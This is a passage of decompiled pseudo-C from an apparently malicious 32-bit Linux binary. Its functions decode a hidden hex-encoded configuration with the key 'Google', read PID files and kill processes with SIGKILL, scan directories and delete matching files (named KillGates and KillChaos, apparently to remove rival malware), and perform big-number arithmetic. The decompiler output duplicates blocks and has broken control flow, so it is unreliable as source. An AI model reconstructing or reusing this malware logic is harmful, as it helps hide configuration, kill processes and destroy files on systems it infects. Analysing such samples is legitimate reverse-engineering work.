std__string__c_str(&g46); int32_t ** v12; CUtility__Split((struct struct_3 *)v12, (char *)&v11, 79); int32_t v13 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(v12); // 0x80779ad if (((int32_t)(v13 == 2) || v13 & -256) != 1) { // 0x80779bf g95 = 0; abort(); // UNREACHABLE } struct struct_18 * v14 = g2; // 0x80779d3_4 int32_t v15 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(v12, &v14->e0); // 0x80779d3 int32_t v16; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v16, (int32_t *)v15); UYT54(v3); Uidi(v1); int32_t v17 = 2; // 0x8077a323 char v18 = 1; int32_t v19; // 0x8077aa2 int32_t v20; // 0x8077ac3 int32_t v21; // 0x8077b0b int32_t v22; // 0x8077b17 int32_t v23; // 0x8077b39 int32_t v24; // 0x8077b45 int32_t v25; // 0x8077b67 int32_t v26; // 0x8077b73 int32_t v27; // 0x8077bb7 int32_t v28; // 0x8077bc3 int32_t str_as_i; // 0x8077bcf int32_t result2; // 0x8077ce2 int32_t v29; char * v30; if (g7 != 2) { int32_t v31 = CSysTool__IsUpdateTemporary(v11); // 0x8077a13 int32_t v32 = v31 ^ 1; // 0x8077a324 if (v31 == 1) { int32_t v33 = CSysTool__IsUnderBDDir(v11); // 0x8077a1f if (v33 != 0) { // 0x8077a32 if (((int32_t)1 || v33 & -256) != 0) { // 0x8077a39 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(v12, (int32_t *)1); std__string__operator_eq__675(); // branch -> 0x8077a5a } // 0x8077a5a if (std__string__empty(&v16) == 1) { // 0x8077c51 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16); result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12); // branch -> 0x8077cea // 0x8077cea g98 = v8; g100 = v7; return result2; } // 0x8077a74 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v29); Mid89((struct struct_59 *)&v29, v16, v4, v2, v11); v19 = std__string__c_str(&v29); CUtility__Split((struct struct_3 *)v30, (char *)v19, 58); v20 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v30); if (((int32_t)(v20 == 6) || v20 & -256) != 1) { // 0x8077ad5 g95 = 0; abort(); // UNREACHABLE } // 0x8077ae0 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, &v14->e0); std__string__operator_eq__675(); v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)1); v22 = std__string__c_str((int32_t *)v21); g8 = atoi((char *)v22); v23 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)2); v24 = std__string__c_str((int32_t *)v23); g9 = atoi((char *)v24); v25 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)3); v26 = std__string__c_str((int32_t *)v25); g59 = atoi((char *)v26); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)4); std__string__operator_eq__675(); v27 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)5); v28 = std__string__c_str((int32_t *)v27); str_as_i = atoi((char *)v28); g52 = ((int32_t)(str_as_i == 0) | str_as_i & -256) ^ 1; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v30); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v29); // branch -> 0x8077c51 // 0x8077c51 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16); result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12); // branch -> 0x8077cea // 0x8077cea g98 = v8; g100 = v7; return result2; } v32 = 0; } // 0x8077a2e v17 = v32; v18 = 0; // branch -> 0x8077a32 } // 0x8077a32 if (((int32_t)v18 || v17 & -256) != 0) { // 0x8077a39 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_(v12, (int32_t *)1); std__string__operator_eq__675(); // branch -> 0x8077a5a } // 0x8077a5a if (std__string__empty(&v16) == 1) { // 0x8077c51 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16); result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12); // branch -> 0x8077cea // 0x8077cea g98 = v8; g100 = v7; return result2; } // 0x8077a74 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v29); Mid89((struct struct_59 *)&v29, v16, v4, v2, v11); v19 = std__string__c_str(&v29); CUtility__Split((struct struct_3 *)v30, (char *)v19, 58); v20 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v30); if (((int32_t)(v20 == 6) || v20 & -256) != 1) { // 0x8077ad5 g95 = 0; abort(); // UNREACHABLE } // 0x8077ae0 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, &v14->e0); std__string__operator_eq__675(); v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)1); v22 = std__string__c_str((int32_t *)v21); g8 = atoi((char *)v22); v23 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)2); v24 = std__string__c_str((int32_t *)v23); g9 = atoi((char *)v24); v25 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)3); v26 = std__string__c_str((int32_t *)v25); g59 = atoi((char *)v26); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)4); std__string__operator_eq__675(); v27 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v30, (int32_t *)5); v28 = std__string__c_str((int32_t *)v27); str_as_i = atoi((char *)v28); g52 = ((int32_t)(str_as_i == 0) | str_as_i & -256) ^ 1; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v30); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v29); // branch -> 0x8077c51 // 0x8077c51 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v16); result2 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v12); // branch -> 0x8077cea // 0x8077cea g98 = v8; g100 = v7; return result2; } // Address range: 0x8077cf0 - 0x8077f1d int32_t CSysTool__Ower6msf(int32_t a1) { int32_t v1; int32_t v2 = v1; // bp-12 int32_t v3; CUtility__EString(v1, (int32_t)"681A1C1543072E0140491F162F0B55545C55775F55565E57745E5D545652705D5E55585F70585C5659577D0C09545957750E09505F5C7F0909", v3); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); int32_t v4 = std__string__c_str(&g45); // bp-76 int32_t v5; CDjfl87__QQifu6((struct struct_59 *)&v5, (struct struct_59 *)&v4, (int32_t)"Google"); int32_t v6 = std__string__c_str(&v5); // 0x8077d7f v4 = 58; char * v7; CUtility__Split((struct struct_3 *)v7, (char *)&v6, 58); int32_t v8 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v7); // 0x8077da0 if (((int32_t)(v8 == 6) || v8 & -256) != 1) { // 0x8077db2 g95 = 0; abort(); // UNREACHABLE } // 0x8077dbd std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, &g2->e0); std__string__operator_eq__675(); int32_t v9 = std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)1)); // 0x8077df4 g56 = atoi((char *)v9); g55 = atoi((char *)std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)2))); g54 = atoi((char *)std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)3))); g53 = atoi((char *)std__string__c_str((int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)4))); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v7, (int32_t *)5); std__string__operator_eq__675(); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v7); int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v5); // 0x8077f11 return result; } // Address range: 0x8077f1e - 0x8078099 int32_t CSysTool__ReadPid(char * path) { int32_t v1 = g98; // 0x8077f21 int32_t v2 = 2; // bp-152 int32_t fd = open(path, O_RDWR); // 0x8077f35 if (fd <= 0) { // 0x8078091 g98 = v1; return 0; } // 0x8077f52 int32_t * buf; if (fstat(fd, buf) != 0) { // 0x8077f6d close(fd); // branch -> 0x8078091 // 0x8078091 g98 = v1; return 0; } // 0x8077f87 int32_t v3; int32_t result; // 0x80780911 if (v3 < 1) { // 0x807807c close(fd); result = 0; // branch -> 0x8078091 } else { // 0x8077f92 int32_t v4; std__allocator_lt_char_gt__598(v4); v2 = v3 + 1; struct struct_18 * v5 = g2; // 0x8077fb8_6 char * v6; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__357((int32_t **)v6, &v2, &v5->e0, v4); std__allocator_lt_char_gt_(); g98 = v3; int32_t v7 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v6, &v5->e0); // 0x8078002 read(fd, (char *)v7, g98); close(fd); int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v6, &v5->e0); // 0x8078031 int32_t str_as_i = atoi((char *)v8); // 0x807803d std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v6); result = str_as_i; // branch -> 0x8078091 } // 0x8078091 g98 = v1; return result; } // Address range: 0x807809a - 0x8078109 int32_t CSysTool__KillPid(char * a1) { // 0x807809a CUtility__Sleep((int32_t *)1000); int32_t pid2 = CSysTool__ReadPid(a1); // 0x80780b6 char * v1 = (char *)pid2; // 0x80780b6_3 if (v1 < (char *)1) { // 0x80780d7 // branch -> 0x80780db // 0x80780db if (((int32_t)v1 & -256 || (int32_t)0) != 0) { // 0x80780e2 kill(pid2, SIGKILL); CUtility__Sleep((int32_t *)1000); // branch -> 0x8078102 } // 0x8078102 return 1; } int32_t pid = getpid(); // 0x80780c7 char * v2 = (char *)pid; // 0x80780c7_2 if (pid != pid2) { // 0x80780db if (((int32_t)v2 & -256 || (int32_t)1) != 0) { // 0x80780e2 kill(pid2, SIGKILL); CUtility__Sleep((int32_t *)1000); // branch -> 0x8078102 } // 0x8078102 return 1; } // 0x80780d7 // branch -> 0x80780db // 0x80780db if (((int32_t)v2 & -256 || (int32_t)0) != 0) { // 0x80780e2 kill(pid2, SIGKILL); CUtility__Sleep((int32_t *)1000); // branch -> 0x8078102 } // 0x8078102 return 1; } // Address range: 0x807810a - 0x807818d int32_t CSysTool__KillGatesIfExist(void) { int32_t v1 = std__string__c_str(&g47); // 0x8078118 if (CSysTool__IsPidExist((char *)v1) != 0) { int32_t v2 = std__string__c_str(&g47); // 0x8078138 CSysTool__KillPid((char *)v2); // branch -> 0x8078162 } int32_t v3 = std__string__c_str(&g47); // 0x807816a uint32_t v4 = CSysTool__MarkPid((char *)v3, (char **)&g12); // 0x807817b int32_t result = v4 % 256; // 0x8078183 g95 = result; return result; } // Address range: 0x807818e - 0x80787c9 int32_t CSysTool__KillChaos(int32_t a1) { struct struct_3 * v1 = NULL; // bp-53 int32_t v2 = g98; // 0x8078191 std__allocator_lt_std__string_gt__42((int32_t)v1); char * v3; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)v3, v1); std__allocator_lt_std__string_gt_(&v1->e0); char * v4; Kusdf9(v4); char * v5; tRd76(v5); int32_t * v6; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(v6, v4, "."); char * v7; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v7, (char *)v6, v5); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v6); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5); char * v8; Isuf6(v8); char * v9; tRd76(v9); int32_t * v10; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(v10, v8, "."); char * v11; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v11, (char *)v10, v9); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v10); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v9); int32_t v12; std__allocator_lt_char_gt__598(v12); char * v13; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v13, (int32_t)"/", v12, (int32_t)v9, (int32_t)".", (int32_t)v7); std__allocator_lt_char_gt_(); char * v14; nkfsd8(v14); char * v15; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_S8_(v15, v13, v14); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v15); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v14); int32_t * v16; _ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(v16, v13, "/"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v16); int32_t * dirp = opendir((char *)std__string__c_str((int32_t *)v13)); // 0x8078468 int32_t result; // 0x80787a0 if (dirp == NULL) { // 0x8078667 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v13); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v4); result = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3); g98 = v2; return result; } // 0x80785c2 // branch -> 0x80785c2 lab_0xc3e6940:; int32_t v17; // 0x80785d3 while (true) { int32_t * v18 = readdir(dirp); // 0x80785c8 v17 = (int32_t)v18; if (((int32_t)(v18 == NULL) || v17 & -256) == 1) { // 0x80785e2 closedir(dirp); int32_t v19 = 0; // branch -> 0x8078629 while (true) { // 0x8078629 g98 = v19; uint32_t v20 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)v3); // 0x8078633 if (((int32_t)(g98 < v20) || v20 & -256) == 0) { // 0x8078667 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v13); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v11); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v4); result = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3); g98 = v2; return result; } int32_t v21 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_lsb__rsb_((int32_t **)v3, (int32_t *)v19); // 0x8078604 remove((char *)std__string__c_str((int32_t *)v21)); v19++; // branch -> 0x8078629 } } else { // 0x8078489 if (*(char *)(v17 + 10) / 4 % 2 == 0) { // break -> 0x80784a3 break; } // continue -> 0x80785c2 continue; } } int32_t v22 = std__string__c_str((int32_t *)v4); // 0x80784aa char * str = (char *)(v17 + 11); // 0x80784bd int32_t v23; // 0x80784f6 if (strstr(str, (char *)v22) != NULL) { int32_t v24 = std__string__c_str((int32_t *)v7); // 0x80784d0 char * str2 = (char *)v24; // 0x80784d0_4 strcmp(str, str2); char v25; if (v24 != 0) { v25 = 1; lab_0x5db81b0: // 0x8078545 if (((int32_t)str2 & -256 || (int32_t)v25) != 0) { // break (via goto) -> 0x807854c goto lab_0x5dbd040; } // continue (via goto) -> 0x80785c2 goto lab_0xc3e6940; } // 0x80784ef v23 = std__string__c_str((int32_t *)v8); if (strstr(str, (char *)v23) != NULL) { lab_0x24ee1fb0:; int32_t v26 = std__string__c_str((int32_t *)v11); // 0x807851c char * str3 = (char *)v26; // 0x807851c_4 strcmp(str, str3); if (v26 != 0) { str2 = str3; v25 = 1; goto lab_0x5db81b0; } // 0x8078541 str2 = str3; v25 = 0; // branch -> 0x8078545 goto lab_0x5db81b0; } lab_0x5dbb0b0: // 0x8078541 str2 = NULL; v25 = 0; // branch -> 0x8078545 goto lab_0x5db81b0; } // 0x80784ef v23 = std__string__c_str((int32_t *)v8); if (strstr(str, (char *)v23) == NULL) { goto lab_0x5dbb0b0; } goto lab_0x24ee1fb0; } // Address range: 0x80787ca - 0x8078803 int32_t CIHNs5r__Udjf34(int32_t * a1, struct struct_1 * a2) { // 0x80787ca *a1 = a2->e0; int32_t v1 = 0; // bp-8 int32_t v2 = (int32_t)a1 + 4; // 0x80787f3 *(int32_t *)v2 = a2->e1[0]; int32_t v3 = v1 + 1; // 0x80787fa9 v1 = v3; if (v3 >= 35) { // 0x8078802 return &v1; } *(int32_t *)(v2 + 4 * v3) = a2->e1[v3]; int32_t v4 = v1 + 1; // 0x80787fa v1 = v4; while (v4 < 35) { // 0x80787e3 v3 = v4; *(int32_t *)(v2 + 4 * v3) = a2->e1[v3]; v4 = v1 + 1; v1 = v4; // continue -> 0x80787e3 } // 0x8078802 return &v1; } // Address range: 0x8078804 - 0x8078885 int32_t CIHNs5r__Udjf34_354(struct struct_52 * a1, int32_t a2, int32_t a3) { struct struct_52 * v1; // 0x8078860_0 if (a3 == 0) { // 0x8078822 a1->e0 = (int32_t *)1; *(int32_t *)((int32_t)a1 + 4) = a2; v1 = a1; // branch -> 0x8078860 } else { // 0x8078828 a1->e0 = (int32_t *)2; a1->e2 = a3; a1->e1[0] = a2; v1 = a1; // branch -> 0x8078860 } int32_t v2 = *(int32_t *)v1; // 0x8078863 int32_t * v3 = (int32_t *)v2; int32_t * v4 = v3; int32_t ** v5 = (int32_t **)v2; if (v3 < (int32_t *)35) { // 0x807886a v1->e1[0] = 0; int32_t * v6 = (int32_t *)((int32_t)v4 + 1); v4 = v6; if (v6 < (int32_t *)35) { a1->e1[0] = 0; int32_t * v7 = (int32_t *)((int32_t)v4 + 1); v4 = v7; while (v7 < (int32_t *)35) { // 0x807886a a1->e1[0] = 0; v7 = (int32_t *)((int32_t)v4 + 1); v4 = v7; // continue -> 0x807886a } // 0x807887d // branch -> 0x8078883 // 0x8078883 return (int32_t)&v4; } // 0x807887d v5 = &v4; // branch -> 0x8078883 } // 0x8078883 return (int32_t)v5; } // Address range: 0x8078886 - 0x80789cf int32_t CIHNs5r__Udjf32(struct struct_1 * a1, int32_t * a2, struct struct_1 * a3) { struct struct_1 v1; // 0x8078886_0 struct struct_1 * v2 = NULL; // bp-176 v1 = (struct struct_1){ .e0 = 0 }; v1.e0 = (int32_t)a1; CIHNs5r((int32_t *)v1.e0); CIHNs5r_501(&v2->e0, (struct struct_1 *)a2); CIHNs5r__Udjf34((int32_t *)v1.e0, v2); CIHNs5r_500(); int32_t * v3 = (int32_t *)v1.e0; // 0x80788f4_0 if (*v3 < a3->e0) { // 0x80788ff *v3 = a3->e0; // branch -> 0x8078971 } int32_t * v4 = (int32_t *)v1.e0; // 0x8078974_06 int32_t v5; if (*v4 == 0) { v5 = 0; // 0x807897b v1.e1[0] = v5; *v4 = *v4 + v5; return v1.e0; } int32_t v6 = 0; int32_t v7 = 0; // 0x807899219 // branch -> 0x8078912 while (true) { uint32_t v8 = v1.e1[v6]; // 0x807892d uint32_t v9 = v8 + a3->e1[v6]; // 0x807893a int32_t v10 = v9 + v7; // 0x8078948 int32_t v11 = (int32_t)(v10 < v7) + (int32_t)(v9 < v8); // 0x807894a v1.e1[v6] = v10; int32_t v12 = v6 + 1; // 0x807896f int32_t * v13 = (int32_t *)v1.e0; // 0x8078974_0 if (*v13 <= v12) { v4 = v13; v5 = v11; // break -> 0x807897b break; } v6 = v12; v7 = v11; // continue -> 0x8078912 } // 0x807897b v1.e1[0] = v5; *v4 = *v4 + v5; return v1.e0; } // Address range: 0x80789d2 - 0x8078be5 int32_t CIHNs5r__Udjf87(int32_t * a1, struct struct_1 * a2, int32_t * a3) { struct struct_1 * v1 = NULL; // bp-320 CIHNs5r((int32_t *)*a1); CIHNs5r_501(&v1->e0, a2); CIHNs5r__Udjf34((int32_t *)*a1, v1); CIHNs5r_500(); int32_t v2; CIHNs5r_501(&v2, (struct struct_1 *)a3); int32_t v3 = CIHNs5r__Udjf66((struct struct_1 *)*a1, (struct struct_1 *)&v2); // 0x8078a4c CIHNs5r_500(); if (v3 < 1 == false) { // 0x8078b7f int32_t * v4; // 0x8078b92_0 int32_t * v5; int32_t * v6; int32_t v7; // 0x8078b9d int32_t v8; // 0x8078b9d18 if (a2->e0 != 0) { struct struct_1 * v9 = a2; // bp+035 int32_t v10 = 0; int32_t v11 = 0; while (true) { int32_t * v12 = (int32_t *)((int32_t)a3 + 4 + 4 * v10); // 0x8078ade_0 int32_t v13; if (v9->e1[v10] <= *v12) { // 0x8078ae6 if (v9->e1[v10] != *v12 || v11 != 0) { // 0x8078b36 a1[1] = v9->e1[v10] - v11 - *v12; v13 = 1; // branch -> 0x8078b7a lab_0x1a446050:; int32_t v14 = v10 + 1; // 0x8078b7d if (a2->e0 <= v14) { // break -> 0x8078b97 break; } v9 = a2; v10 = v14; v11 = v13; // continue -> 0x8078ace continue; } } // 0x8078b04 a1[1] = v9->e1[v10] - v11 - *v12; v13 = 0; // branch -> 0x8078b7a goto lab_0x1a446050; } // 0x8078b97 v6 = a1; v8 = *(int32_t *)*v6; if (*(int32_t *)(*v6 + 4 + 4 * (v8 - 1)) != 0) { // 0x8078bd9 // branch -> 0x8078bd9 // 0x8078bd9 return *v6; } v4 = (int32_t *)*v6; *v4 = *v4 - 1; v5 = a1; v7 = *(int32_t *)*v5; while (*(int32_t *)(*v5 + 4 + 4 * (v7 - 1)) == 0) { // 0x8078b8f v4 = (int32_t *)*v5; *v4 = *v4 - 1; v5 = a1; v7 = *(int32_t *)*v5; // continue -> 0x8078b8f } // 0x8078bd9 // branch -> 0x8078bd9 // 0x8078bd9 return *v5; } // 0x8078b97 v6 = a1; v8 = *(int32_t *)*v6; if (*(int32_t *)(*v6 + 4 + 4 * (v8 - 1)) == 0) { v4 = (int32_t *)*v6; *v4 = *v4 - 1; v5 = a1; v7 = *(int32_t *)*v5; while (*(int32_t *)(*v5 + 4 + 4 * (v7 - 1)) == 0) { // 0x8078b8f v4 = (int32_t *)*v5; *v4 = *v4 - 1; v5 = a1; v7 = *(int32_t *)*v5; // continue -> 0x8078b8f } // 0x8078bd9 // branch -> 0x8078bd9 // 0x8078bd9 return *v5; } // branch -> 0x8078bd9 } else { int32_t v15 = (int32_t)g2; // 0x8078aae CIHNs5r__Udjf34_354((struct struct_52 *)*a1, v15, v15); // branch -> 0x8078bd9 } // 0x8078bd9 return *a1; } // Address range: 0x8078be6 - 0x8078d27 int32_t CIHNs5r__Udjf87_355(struct struct_1 * a1, struct struct_1 * a2, uint32_t a3) { struct struct_1 * v1 = NULL; // bp-172 CIHNs5r(&a1->e0); CIHNs5r_501(&v1->e0, a2); CIHNs5r__Udjf34(&a1->e0, v1); CIHNs5r_500(); int32_t v2 = (int32_t)a1; // 0x8078c3c if (a1->e1[0] >= a3) { int32_t * v3 = (int32_t *)(v2 + 4); // 0x8078c4d_0 *v3 = *v3 - a3; // branch -> 0x8078d20 // 0x8078d20 return (int32_t)a1; } // 0x8078c5b if (a1->e0 == 1) { int32_t v4 = (int32_t)g2; // 0x8078c70 CIHNs5r__Udjf34_354((struct struct_52 *)a1, v4, v4); // branch -> 0x8078d20 } else { int32_t * v5 = (int32_t *)(v2 + 4); // 0x8078c80_0 *v5 = *v5 - a3; struct struct_1 * v6 = a1; int32_t v7 = 1; if (a1->e1[1] == 0) { int32_t v8 = 1; a1->e1[v8] = -1; int32_t v9 = v8 + 1; // 0x8078cba while (a1->e1[v9] == 0) { // 0x8078ca9 v8 = v9; a1->e1[v8] = -1; v9 = v8 + 1; // continue -> 0x8078ca9 } // 0x8078cbc v6 = a1; v7 = v9; // branch -> 0x8078cca } // 0x8078cca v6->e1[v7]--; if (a1->e1[v7] == 0) { // 0x8078ce7 a1->e0--; // branch -> 0x8078d20 } } // 0x8078d20 return (int32_t)a1; } // Address range: 0x8078d2a - 0x8078e8f int32_t CIHNs5r__Udjf31(int32_t * a1, struct struct_1 * a2, struct struct_1 * a3) { struct struct_1 * v1 = NULL; // bp-180 CIHNs5r((int32_t *)*a1); CIHNs5r_501(&v1->e0, a2); CIHNs5r__Udjf34((int32_t *)*a1, v1); CIHNs5r_500(); if (a2->e0 == 0) { // 0x8078e34 // branch -> 0x8078e85 // 0x8078e85 return *a1; } int32_t v2 = 0; int32_t v3 = 0; // 0x8078e4d215 uint64_t v4 = (int64_t)(int32_t)a3 * (int64_t)a2->e1[v2]; // 0x8078dcd int32_t v5 = (int32_t)v4 + v3; // 0x8078dfd int32_t v6 = (int32_t)(v5 < v3) + (int32_t)(v4 / 0x100000000); // 0x8078dff a1[1] = v5; while (a2->e0 > v2 + 1) { // 0x8078d95 v2++; v3 = v6; v4 = (int64_t)(int32_t)a3 * (int64_t)a2->e1[v2]; v5 = (int32_t)v4 + v3; v6 = (int32_t)(v5 < v3) + (int32_t)(v4 / 0x100000000); a1[1] = v5; // continue -> 0x8078d95 } // 0x8078e34 if (v6 != 0) { int32_t * v7 = (int32_t *)*a1; // 0x8078e3d_0 *v7 = *v7 + 1; *(int32_t *)(*a1 + 4 + 4 * (*(int32_t *)*a1 - 1)) = v6; // branch -> 0x8078e85 } // 0x8078e85 return *a1; } // Address range: 0x8078e92 - 0x80790cf int32_t CIHNs5r__Udjf31_356(int32_t * a1, int32_t * a2, struct struct_1 * a3) { if (a3->e0 != 1) { // 0x8078ec6 int32_t v1; CIHNs5r(&v1); v1 = *a2 - 1 + a3->e0; abort(); // UNREACHABLE } int32_t v2 = a3->e1[0]; // bp-228 CIHNs5r__Udjf31((int32_t *)*a1, (struct struct_1 *)a2, (struct struct_1 *)&v2); return *a1; } // Address range: 0x80790d0 - 0x8079583 int32_t CIHNs5r__Udjf01(int32_t ** a1, struct struct_1 * a2, int32_t ** a3) { struct struct_1 * v1 = NULL; // bp-1196 struct struct_1 * v2 = NULL; // bp-476 int32_t v3 = g98; // 0x80790d3 CIHNs5r(*a1); 